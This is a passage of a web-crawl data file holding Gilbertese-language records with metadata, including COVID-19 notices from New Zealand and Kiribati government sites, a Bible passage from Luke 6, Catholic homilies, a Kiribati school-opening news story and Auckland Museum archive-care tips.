| If you develop COVID-19 symptoms while visiting New Zealand\nTi kaungaia aomata ake a tia n roko iaon Nutiran bwa ana karaoa aia tutuo n te (RAT) ibukin te COVID-19 ngkana iai kanikinaean te COVID-19 imwiin rokoia. Ngkana ko roko n te wanikiba ao ko tuangaki bwa kona kaota mwiin am tutuo ae aki nakoraoi nakoira, ao rimwiia nako ma te tutuo n te PCR.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/","date":"2023-09-22T18:36:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506421.14\/warc\/CC-MAIN-20230922170343-20230922200343-00714.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":171,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia te Tautaeka ni kanakoi nikiran taian kaetieti ibukin marurungin te botanaomata ni kaeti ma te COVID-19; 7-te bong ae ko riai ni kaokorokoe riai bwainan te nangoa n ubu ibukiia taan roko nakon te tabo ni kuakua.\nTi mwakuri ngkai n kabooui rongorongo iaon te iterana ni baa iaon te inanete aio. Manga oki riki n te tai ae aki maan ibukin kaetieti ni kairiri aika a kaboouaki.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/prepare-and-stay-safe\/","date":"2023-09-22T18:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506421.14\/warc\/CC-MAIN-20230922170343-20230922200343-00745.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":71,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arau bn Viktoria mai Buritan ao bn uean Buritan man 1819 nakon 1901 ao bn t kaitinman n aine ngai ae taua aon Engiran ao te kaniman n aine n tia kairiri iaon Scotland bn te kabanea n bubura nakoana n taai aika a nako ao enag kinaaki iaon aba.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Viktoria_mai_Buritan","date":"2023-09-27T16:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510300.41\/warc\/CC-MAIN-20230927135227-20230927165227-00167.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":48,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rinin Tabiteuea Meang iaan Alert level 3b\n(Bairiki, Tarawa, Katenibong 1 n Tuun 2022) ----- E a tia Botakin te Mauri ao Katoki Aoraki ni kamatoa bwa e a roko ngkai iaon Tabiteuea Meang te aoraki ae te COVID-19.\nAio te rongorongo are e karekeaki man ana ribooti ana tiim Botakin te Mauri ao Katoki Aoraki are e kitana Tarawa nako Tabiteuea Meang n te Kaonobong 28 ni Meei 2022 ibukin karaoan aia mwakuri n tutuo iaon te abamakoro aio. E teretere man te ribooti bwa imwin te mwakuri n tutuo iroun te tiim, ao e kamatoaki bwa iai tabeman mai ibuoakoia kain te abamakoro aio ae e reke irouia manin te COVID-19.\nIbukin moanibwaian maurin te botannaomata, ao e a tia n baireia ami Tautaeka bwa Tabiteuea Meang e rin ngkai iaan te Tua ke te Oota are e teimatoa n waaki ao ni iraki nanoia ngkai iaon South Tarawa ma Betio, Tarawa ieta, Abaiang, Makin, Butaritari, Abemama ao Aranuka ni kaineti ma Alert level 3b are e teimatoa bwainakina ni karokoa 10 n Tuun 2022.\nE kakawaki bwa e na mataata te botannaomata, bwa ngkai e a rin Tabiteuea Meang iaan te Oota aio, ao a na bon bane n teimatoa n wakinako bwaai ni kabane n aron te reirei ibukin te kauoua n teem, te mwakuri, te mwamwananga i marenan Tabiteuea Meang ma abamakoro nako ni kaineti ma kainibaire ke SOPs ake e tia n kawenei ami Tautaeka. Ibukiia taan reirei ma ataein te reirei ake a na reirei I Teabike College iaon Tabiteuea Meang, a na bon bane n kawakinaki ke n quarantine n moan rokoia n ana tabo te reirei ao aio are e kabaeaki iai te Kauntira bwa e na ibuobuoki iai ma ana taan mwakuri nako.\nN reitaki ma aio, ao e arora bwanaana n bubuti ami Tautaeka nakoia Kauntiran abamakoro ake iai kauarinan ke secondary schools iaoia bwa a na ibuobuoki naba n te itera aio n te aro bwa ataei ao taan mwakuri ake a roko mai itinanikun aia abamakoro a bane n butimwaeaki raoi ao man kawakinaki n ana tabo te reirei n te aro bwa e naaki rootaki waakin ma butin te reirei.\n----------------------\n(Bairiki, Tarawa, Wednesday 1st June 2022) --- The Ministry of Health and Medical Services has confirmed that several persons in North Tabiteuea have tested positive for COVID-19.\nThe testing was carried out by a special medical team from the MHMS which arrived in North Tabiteuea on Saturday 28th of May 2022. As the safety of the public is paramount, the Government has declared that North Tabiteuea will be included in the list of islands affected by COVID-19. These islands need to adhere to the SOPs put into place by the Ministry of Health and Medical Services along with the new Curfew Order guidelines which are effective until the 10th of June 2022.\nIn light of this, the new Curfew Order states that all schools will commence for Term 2, Government work will continue as normal and travellers between North Tabiteuea and other islands need to follow the SOP guidelines strictly. The North Tabiteuea Island council will be responsible for ensuring that all students and teachers who arrive in North Tabiteuea will be quarantined on school compounds as per the SOP requirements.\nThe Kiribati Government further appeals to all Island Councils which currently house Secondary Schools on their islands to assist in ensuring that all students and teachers are quarantined upon their arrival to maintain the safety and well-being of students along with the general public.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.gov.ki\/press-release\/Tab-North%3A%20Covid-19","date":"2023-09-22T00:24:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506320.28\/warc\/CC-MAIN-20230922002008-20230922032008-00527.warc.gz","language":"gil","language_score":0.9997271895,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999727189540863}","num_words":577,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoimi ara customers ni kabane man Tarawa Teinainano (TUC) ma Betio (BTC),\nE a kamatoa n taekinna ikai te Botaki ibukin te Mwane ke te Ministry of Finance bwa ni moa man te bong aio ae te Kaabong, 20th Tianuare 2022 ao a na tii butimwaeaki naake a uota aia beeba n kakoaua ae e a tia n koro itiia ke vaccination card ao a bwaina te mask.\nTe babaire aio bon ibukin totokoan butin te Aoraki ae te COVID19 n taabo ni mwakuri ao n taabo nako iaon Tarawa Teinainano ma Betio ni kaineti ma te kainibaire ke te waaki inanon te TANEIAI AE BOOU.\nNgkana Akea am beebwa n iti ao ubum, ao bon akea te ibuobuoki ae kona n reke nakoim \"No Vaccination Card and Mask, No Service.\"\nTi na moantaai n tabeka ara karautaeka nakoimi ake kam aki ira nanon te katanoata aio bwa kam na bon aki kona n butimwaeaki ke n buokaki n rokomi n te Aobiti ni Mwane.\nKam rarabwa n ami tataonannano ao ti na bane n tekeraoi!\nAnne ma iroun te Tia Koroboki ibukin te Bootaki ni Mwane ke Ministry of Finance.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/mfed.gov.ki\/content\/covid-19-notice-public","date":"2023-09-25T15:47:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233509023.57\/warc\/CC-MAIN-20230925151539-20230925181539-00282.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":190,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ruka 6:27-49\nRuka 6:27-49 KNVB\nI taku nako imi akana kam ongora i Rou, Kam na tangiriia ami kairiribai, ao karaoa ae raoiroi nakoia akana ribaingkami. Kakab'aiaia akana a taetae ni kamaraiaingkami, ao tataro i bukiia akana a karaoa ae buakaka nako imi. Ane orea tabam teuana ao anganna naba tabam ane teuana b'a e na oreia; ao tai rawa n anga am kauatao ni kabaraaki nakon ane e anaa am kabaraaki ane i aan am kauatao. Aanga nakon ane butiiko; ao tai tangiri am b'ai b'a a na kaokaki mairoun ane kani uoti nako. Karaoa naba nakoia aomata te baere ko kaantaningaia b'a a na karaoia nako im. Ngkana kam tangiriia akana tangiringkami, ao tera kamoamoaami ae na reke iai? B'a aomata aika taani bure a tangiria naba aomata ake a tangiraki i rouia. Ao ngkana kam karaoa ae raoiroi nakoia akana karaoa ae raoiroi nako imi, ao tera kamoamoaami ae na reke iai? B'a a karaoa naba aron aei taani bure. Ao ngkana kam anganiia akana kam taku b'a a na manga kaoka naba m'aitin are kam anga nako, ao tera kamoamoaami ae na reke iai? B'a anganga naba taani bure nakoia taani bure, b'a a aonga ni karekea naba m'aitin are a anga nako mai rouia. Ma kam na tangiriia ami kairiribai, ao karaoa ae raoiroi nako ia, ao aanga n aki manga kaantaninga booni mwiina b'a e na okiringkami; ane e na bati te kab'aia ane na reke i roumi iai, ao ane kam na riki b'a natin Teuare Moan te Rietaata; b'a E akoi te Atua nakoia akana bangaomata ao akana iangoia i bon i rouia. Kam na b'aina te nanoanga, n ai aron Tamami ae b'aina te nanoanga. \"Kam na tai motiki taekaia aomata, ao ane e na aki motikaki taekami iroun te Atua; kam na aki kabuakakaia aomata, ao ane na bon aki naba kabuakakako te Atua; b'aina te kab'arabure, ao ane a na kab'araki am bure iroun te Atua. B'aina te angaanga, b'a te Atua e na bon manga anganiko; ane e na kanoaaki rabin kunnikaimi ni kaonrakeaki. E na kaibeaki, e na ioioaki, ao e na taonako kanoana. B'a te baire are kam anga ao ane kam na manga anganaki.\" E tuangiia naba Iesu te taeka n rabakau ae kangai, E kona te aomata ae mataki ni kaira te aomata ae mataki? Tiaki ana bon uaia ni b'aka n te kinono iai? E aki kakannato riki are reireiaki i aon ana tia reirei, ma ngkana a bane n reireiaki raoi aomata ao ane a na katotonga aron aia tia reirei. E aera b'a ko nora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki nora te oka ane i nanoni matam? Ao ko kanga n rabakau ni kangai nakon tarim, \"Tariu, N na kaaki te maange ane uarereke mai nanoni matam,\" ngkai ko aki kona te nora te oka ane i nanoni matam? Te tia m'am'ana-te-aba, ko na kaaki moa te oka ane i nanoni matam, ao ko a tib'a konaa n nora raoi kanakoan te maange ae uarereke mai nanoni matan tarim. B'a akea te kai ae raoiroi ae na kariki uaana aika bubuaka, ao akea naba te kai ae buakaka ae na kariki uaana aika raraoi. B'a a kinaaki aroni kaai nako n uaaia. B'a a aki anaaki biiku mani kaai aika akanta ao kureebe mani kaai aika kateketeke. E kaoti baika raraoi te aomata ae raoiroi mani b'ain nanona aika raraoi; ao e kaoti baika bubuaka te aomata ae buakaka mani b'ain nanona aika bubuaka. E taetae te wii man onraken te nano. \"E aera ngkai kam atoatonga ae kangai nako Iu: 'Te Uea, te Uea,' ao kam aki ira nanon te bae I tuangngkami? Te aomata ane nako Iu ao e ongo au taeka ma n tou mwiia, ao N na tuangngkami arona. Ai aron te aomata are katea ana auti. E kena aontano ni kananoa, ao e kawenea iai aan ana auti i aon te b'a; ngke e roko te raanga, ao e neakina te auti arei te raanga, ma e aki kona ni kam'aeia, i bukina b'a e a tia ni katea raoi ana auti te aomata arei. Ma ane e ongo au taeka ma n aki tou mwiia, ao ai aron te aomata are katea te auti i aontano ma akea aana ae kabongana; e neakinaki te auti n te raanga ao e a b'aka naba, ao e korakora uruakina!\"","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.bible.com\/bible\/1892\/LUK.6.27-49.KNVB","date":"2023-11-28T18:37:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679099942.90\/warc\/CC-MAIN-20231128183116-20231128213116-00581.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":738,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia te Tautaeka ni kanakoi nikiran taian kaetieti ibukin marurungin te botanaomata ni kaeti ma te COVID-19; 7-te bong ae ko riai ni kaokorokoe riai bwainan te nangoa n ubu ibukiia taan roko nakon te tabo ni kuakua.\nTi mwakuri ngkai n kabooui rongorongo iaon te iterana ni baa iaon te inanete aio. Manga oki riki n te tai ae aki maan ibukin kaetieti ni kairiri aika a kaboouaki.\nTe buoka ibukim ao am utu | Support for individuals and families\nKarekei rongorongon taian buoka te mwane ao te kamwengaraoi inanon tain butinakon te COVID-19 n te aonnaba.\nAngan karekean amwarake ao bwai aika a rangi ni kainnanoaki | Access to food or essential items\nTi bane ni kainnanoa te amarake ao baika a rangi ni kainnanoaki n aron bwainaoraki i nanon tain kainan tabo ibukin te Covid-19 ma ngaia ae taiaoka tai kariaia bwa a na aki reke iroum. Te beba ni kamatata aio e anganiko rongorongo aika a mwaiti ibukin angan karekean amwarake ao bwai aika a rangi ni kainnanoaki ibukim.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/support\/","date":"2023-12-10T07:47:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101282.74\/warc\/CC-MAIN-20231210060949-20231210090949-00555.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":173,"character_repetition_ratio":0.087,"word_repetition_ratio":0.012,"special_characters_ratio":0.2,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tariu ao maneu iai te koaua teuana are I taku ba ti bane n titebo iai. Ba ti a tia ni irira Iesu inanon te tai ae maan ao n tabetai ti a taku ba ai akea ara kanganga ni maiura ni Kiritian. Ma tao e bon riai ba ti na bon manga kaekaira n te tai aio ba iai te bai inanon maiura ae ti tuai man angan te Uea ke akea? Iai te ruu teuana inanora ae ti tuai man angan te Uea kingina ba E na inaomata iai?\nN te ewangkerio n te bong aio ao ti ongora aroia te koraki ake a taku ba a kan irira Iesu ma iai riki tabeia teuana ae a na karaoia imain ae a ira Iesu. E kamatata ikai Iesu ba bon akea nnen taian tabeianga ma katabetabe aikai ngkana ti na ira Iesu. Are nanona ba E tangiria Iesu ba ti na anga ngaira ni kababaneira ngkana ti na iriria. Are nanona naba ba ti na riai ni kanakoi baai ni kabane ke ni kainaomataira mani baikorakin te maiu aio ba e aonga n reke iroura te maiu ni koaua. Ti kona naba n noria ba akea te bai iaon te aonaba aio ae e kona ni kaboa kamaiuakira i Karawa ao akea naba te bai teuana mai aonteaba ae ti na uotia nakon te maiu ae na roko.\nTariu ao maneu ti na butia te Atua ana karatia ao Tamneina ae Raoiroi ba E na buokira ni kaotaira ba ti na kona n noora te bai inanon maiura ae ti tuai man angan te Uea. I taku ba aio bon te rongorongo ae kakawaki nakoira ba aio te itera ae na katabanina aron kamaiura man urua ana tabo te riaboro ni kona n rin inanora man urui maiura ni kekeiaki ma te Uea. Ti na kanakoi bai ni kabane ba ti aonga ni inaomata ni koaua mani kababaneira ibukin te Uea ae Ngaia te Koaua, te Kawai ao te Maiu.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/109-kanakoi-baai-ni-kabane-ibukin-te-uea","date":"2024-04-21T23:54:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00147.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":332,"character_repetition_ratio":0.064,"word_repetition_ratio":0.012,"special_characters_ratio":0.222,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Renaua Kaata\nUekera Reporter\nBPA Uekera News\nE karaoaki te bukamaru ae bubura n ana kambwaun te reirei ae Sunrise Primary School, i Teimaiku n te Kauabong te wiiki aei ibukin katonuan ao katekeraoan bobongan ao tian raoi te reirei aio rinanon ana mwane ni buoka Aotiteria, ao are bon teuana kanoan miin te tautaeka are e oti n ana KV20.\nMwaitin ana mwane Aotiteria are e a tia ni kabanea ibukin te buoka ibukin te karikirake aio e riaon $100 te mirion. Man ana buoka Aotiteria aio ao e oti iai bwa aua reirei aika a tia ao ni bobonga raoi ake bon kanoan te mwane ni buoka aio.\n\"Te kantaningaki ibukin katean umwanreirei aikai bwa e na kauka riki te mataroa nakon noran kakawakin te reirei irouia ataei ao ni kabirimwaka riki aron te wanawana ao karekean te rabakau irouia ataein Kiribati\", e mwaneweia te Minitita ibukin te Reirei, Alexander Teabo, inanon kanakoan ana maroro ni kakaitau ibukin kanoan te bong anne.\nIrarikin anne ao e mwaneweia bwa man te mwane ni buoka naba aio ao e a tia Wakam Primary School ni bobonga kateana ao katamaroana man te buoka naba aio, ni ikotaki ma Aratokotoko Primary School, Neiabi Tabu Primary School iaon Maiana ao ai bon te Sunrise Primary School are e a mwakoro rebenna n te bong n 12 n Maati 2024.\nE moan aiwaeaki ke ni kateaki Sunrise Primary School n te ririki 2011 ao e taubobonga raoi 2023. E kanikinaeaki te tokanikai anne ni korean reebenin te reirei aei n 12 n Maati iroun Beretitenti Taneti Maamau ao n raonaki iroun te Special Envoy Ewen Macdonald, ao ni katonua Sunrise Primary School bwa te kaua n reirei are e a bobonga raoi ao ni kamwengaraoi ibukia natin Kiribati iaon te kaawa ae Temwaiku.\nNi kanoan te bukamaru anne ao e reke ana tai naba temanna te teinaine are e tei man rabwatana te reirei aio n uota bwanaia ataein te reirei aio nakon te Tautaeka n Aotiteria ibukin ana buoka are e karekea te ungannano nakoia ibukin te wakirake ibukin karekean te konabwai.\nTiaki naba ti ngaia ma e anga naba ana taeka ni kakaitau te tiibi komete n te reirei aio ibukin te mwakuri ni kateitei ao te katamaroa ao riki nakon te tia anga te buoka are e a kabobonga raoi Sunrise ibukin ataei ake a nang kona n namakina ngkai te mwengaraoi man kateitei aika a boou aikai.\nIrarikin anne ao e reke naba ana tai te mataniwi n te reirei aio ni kanakoa ana maroro ni kakaitau ni ikotaki ma te Tia Tei mai Tarawa Teinainano MP Taoaba Kaiea ni kakaitaua te Tautaeka n Kiribati ma te Tautaeka n Aotiteria ibukin aia ikarekebai ibukin tobwan ao kakoroan nanon te Motinnano aio.\nAke a roko ni kakoaua kanoan te bong anne bon te Beretitenti Taneti Maamau ni ikotaki ma UN Special Envoy Ewen Macdonald, ana Ai Kamitina Aotiteria Karen Bray ma ana Tia Koroboki, te Minitita n te Botaki n Reirei Alexander Teabo ma ana Moan Tia Koroboki, te Minitita n te Botaki ni Mwakuri ibukin Rongorongo, Itoman ao Mwamwananga Teekeua Tarati, MP Taoaba Kaiea, MP Tebuai Uaai, te Minitita Ibukin Enuwaromenta, Aaba ao Karikirakean te Ununiki ae Ruateki Tekaiara ao ai tabeman riki bwakuakua man te tautaeka ni ikotaki ma tabeman iruwa man botakin aaro ao n raonaki ma tabeman riki ake a roko ni kabobonga kanoan te katekeraoi anne.\nE kanikinaeaki bwaranakon te bukamaru aio ni kainakin te botaki n te tataro ni ikotaki ma kakabwaian matamtam ake a katauraoaki mai irouia aia karo ataein te reirei anne, ao aia neweabakin umwanreirei iroun te Beretitenti ma iruwa tabeman.\nYour email address will not be published. Required fields are marked *","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/adp.bpa.org.ki\/blog\/te-koro-reben-ibukin-sunrise","date":"2024-04-19T01:39:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817253.5\/warc\/CC-MAIN-20240419013002-20240419043002-00083.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":614,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N tabetai ao ti tauaninne ba ti ngaira aika ti na kamaiuaki. Iroura ngaira katorika, ti kona n taku n tabetai ba ti ara bai te kamaiuaki ibukina ti katorika. Ma I taku ba n te koaua ao e aki reke kamaiuara man arara ke kainakin te aro teuana ke te botaki teuana ma e bon reke man ara makuri aika ti karaoi aika botau ma Nanon te Uea.\nNi karakinan teuae Mahtma Gandhi ae rang ni kinaaki ae kain Inria, ao iai temanna te Kiritian are titirakinna ba e aera ngkai e aki riki ba te Kiritian. E kaeka man taku Mahatma n taku ba e na ti kona n riki ba te Kiritian ngkana e a tia n nora te Kiritian ni koaua ni matana.\nTariu ma maneu ti na manga tuoi aron ara kekeiaki ni maiura ni Krirtian ba e uara. N te wareboki ngkoananoa ao ti kauringaki ba te bai ae kakawaki n ara kekeiaki bon te ongotaeka n te makuri. Ti na aki ti atonga te bai ae ti na karaoia ibukin te Uea ma ti na riai ni makuria. N te bong aio ao ti a manga anganaki teuana riki arora ae ti na kamaiuaki iai ao aio bon te nanorinano n aiaroia ataei aika uarereke. Ti na aki ukera te kamoamoaki n ara makuri ma ti na karaoi baai ni kabane ma te nano n tangira ao n nanoanga. Ti na kataia naba ni kakoroi nanon ara motintaeka ke ara taeka ni bau ma te Uea. Ti na uringa naba kakawakin arora ni maiu n te tai ae ngkai ba ngaia ae na bairea aron te tai ae na roko ibukira. A na bane ni mauna mani bua arora ni bure n taai aika nako ngkana ti rairi nanora man tanrikaki nakon te Uea n te tai aio ae ngkai naba. Te bai naba ae kakawaki ba ti riai n aki taku ba ti a kamaiuaki ba ngaira katorika ke kain te charismatic ma ti ngkana ti karaoa Nanon te Uea n taai nako ao ni maiu inanon te maiu ni karatia.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/107-anatai-aika-a-na-kamaiuaki","date":"2024-04-22T00:45:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00196.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":349,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wildlife Photographer of the Year 2023\nTe Rā: Navigating Home\nA Different Light: First Photographs of Aotearoa\nCollections Online. Explore over 1 million records.\nExperience Auckland Museum at Home\nStories. Read our special features, behind the scenes blogs and more.\nAM Learn\nEducation. Book a class visit.\nEngaging programmes for all year levels from ECE to Year 12\nBrowse and contribute to New Zealand's Online Cenotaph\nExperience life as a WWI soldier in Pou Kanohi Gallery\nHonour and remember New Zealand's servicemen and women.\nGet more from your Museum with Membership\nFind out more about Auckland Museum's transformation\nVenue hire at Auckland Museum\nTe family archive bon te tabo ae ti kawakin iai ara bwai ke bwain ara utu aika a kakawaki ma rimoa. Ti ataia naba ma iai bwa antai raoi ngaira ao ti roko ma ia. Kanoan te archive e kona n taian tamnei, albums, taian reta ao bebwa aika kakawaki.\nTeimatoan ao teimanin raoiroin bwain ara utu aikai e nakon aron tararuakia ao kawakinaia. Aikai tabeua kairiri ae a kona ni buokiko ni kateimania riki bwain am utu (family archives) ibukin rooro ma rooro n taai aika i mwaira.\nDownload\nBwain rimoa man ana tabo ni kawakin bwai (archives) te rabwata ae e aranaki bwa te Pacific Islands eDucation Resource Centre (PIERC) ma ana moan Tarekita ae Le Mamea taulapapa Sefulu Ioane i nanon te 1970 tabun.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.aucklandmuseum.com\/discover\/care\/online-toolkits\/archives\/kiribati","date":"2024-04-14T20:12:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.9\/warc\/CC-MAIN-20240414192536-20240414222536-00731.warc.gz","language":"gil","language_score":0.9968035817,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9968035817146301}","num_words":226,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taekini ana karikirake te tautaeka Te Minita n te botaki ibukin te Mauri ao Katoki Aoraki HM Dr Tinte Itinteang n ana bong te Health n te sport complex Betio.\nRongorongon teteinaine are e karaoaki te mwakuri n aki ako nakoina ike e karika iai te nanokawaki nakon te utu ibukin kuriman maiun Nei Rinati. ( te tamnei aio bon tamnein tinan teteinaine ae Rinaati)\nBroadcasting and Publications Authority Video News\nMaroro ma Meeia\nBPA Uekera News","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/adp.bpa.org.ki\/blog\/general-news","date":"2024-04-19T02:23:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817253.5\/warc\/CC-MAIN-20240419013002-20240419043002-00226.warc.gz","language":"gil","language_score":0.9999908209,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999908208847046}","num_words":77,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti karaba te Uea ngkai ti a manga bane n roko inanon te namakaina aio are bon namakinan te Rotario. Aio te tai are ti bane n reitaki iai ma tinara Nei Maria ni karinea ba ngaia Uean te Rotario. Ni kaotin Nei Maria i Fatima n 1917, ao e anganira te korana Nei Maria ba ara tataro ni buakana te bure n te aonaba ao ni kaokiia tamnei ake a bua man raroa nako ma ana tangira Natina ae Iesu. Bon aio naba te te tai ae kakawaki irouia utu ni Kiritian n te aonaba ni manga kunea kaubain ana buoka Nei Maria ni kona n tibatibai taian karatia ake e tia ni kaonarakeaki iai iroun te Atua. Inanon tinara Nei Maria ao ti kona n ono n ana karatia te Atua are ti kainnanoia inanon maiura i aonteaba ao n ara borau nakon mwengra are E tia ni katauraoia Iesu ibukira. Ti na bane ni manga kaboua tangiran te korona are boni ngaia te kaubai teuana are e tia n angira tinara Nei Maria. Ti manga karina te ang ae bou n ara utu ao iroura n tatabemanira ibukin tangiran te korona. Ngkana ti tataroakina te korona ao ai aron ae ti kareani ara rooti aika aki kona n rai nakon Iesu ake a na riki ba kanga ai aron ara karinimane nakon te maiu ae na roko.\nTi kauringa naba n te bong aio ana toa St Theresa n Iesu te Tei are aki toki ni kabarabaraki ba te ue te rooti ae uareeke. Te ue bon ana karikibai te Atua ae rabatana te tamaroa ao te kakukurei nakoia aomata nako. E rangi ni kinaki te Santa aio ni kekeiakinan karaoan te tamaroa mani makuri aika uarereke. E rereinira naba Santa Teresa ba ti kona ni karekea te maiu ae tabu mani karaoan raoi ara makuri ke tabera aika uarereke. Inanon te nanorinao ao te nimamannei ao ti kona ni karekea te reitaki ni koaua ma te Atua. Aio are e bon kaineti raoi ma kanoan te wareboki n te bong are \"Te Atua E kaota miterion kaubain ana tangira nakoia aika a uarereke n aiaron St Teresa. Ibukin matenanon te Santo aio ni maiuakina Karawa ikai i aoanteba inanon karaon makuri n tangira ao E a tia ni katokaaki iaon te Santa aio te ara ae kakannato ae Taokitan te Ekaretia iroun Bobe Ioane Bauro n 1997, e ngae ngke bon akea ana rerei ae bubura. Inanon tataroakinan te Rotario ao ti na butia Santa Teresa ba e na kamamararai rotin ana karatia te Atua mai Karawa nakoira ni kabane.\nTi katekeraoia naba botaki ke kurubu nako n ara charismatic ake a tia n ingoanaki iroun Santa Teresa n Iesu te 